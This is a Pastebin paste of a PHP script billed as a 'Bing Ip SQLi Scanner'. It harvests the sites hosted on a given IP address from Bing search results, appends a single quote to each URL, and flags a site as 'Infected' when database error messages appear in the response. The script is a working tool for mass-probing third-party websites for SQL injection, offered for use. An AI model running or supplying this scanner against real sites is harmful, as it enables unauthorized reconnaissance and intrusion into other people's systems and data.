Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- [PHP] Bing Ip SQLi Scanner v1.0
- Coder: inj3ctor_m4
- */
- error_reporting(0);
- @set_time_limit(0);
- if(count($argv)<3)
- {
- echo"\n Usage : php ".$_SERVER["PHP_SELF"]." 127.0.0.1 dork \n";
- die();
- }
- $ip = $argv[1];
- $dork = $argv[2];
- echo"\nSTART SCANNING SQLi FROM $ip \n\n";
- $bing = urlencode("ip:$ip $dork");
- for($i=1;$i<=10+10;$i++){
- $src = getsource("http://www.bing.com/search?q=$bing&first=$i");
- preg_match_all('/<h2><a href="(.*?)" h="/',$src,$matches);
- }
- $sites = array_unique($matches[1]);
- foreach($sites as $site){
- $get = getsource("$site%27");
- if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT * FROM|supplied argument is not a valid MySQL|Microsoft OLE DB Provider for ODBC Drivers error|Syntax error|Fatal error/i",$get)) {
- echo urldecode($site)." >> Infected\n";
- }
- else{
- echo urldecode("$site")."\n";
- }
- }
- function getsource($site){
- if (function_exists('curl_init')) {
- $ch = @curl_init($site);
- @curl_setopt($ch, CURLOPT_HEADER, FALSE);
- @curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
- @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
- @curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
- $source = @curl_exec($ch);
- @curl_close($ch);
- return $source;
- }
- else {
- return @file_get_contents($site);
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment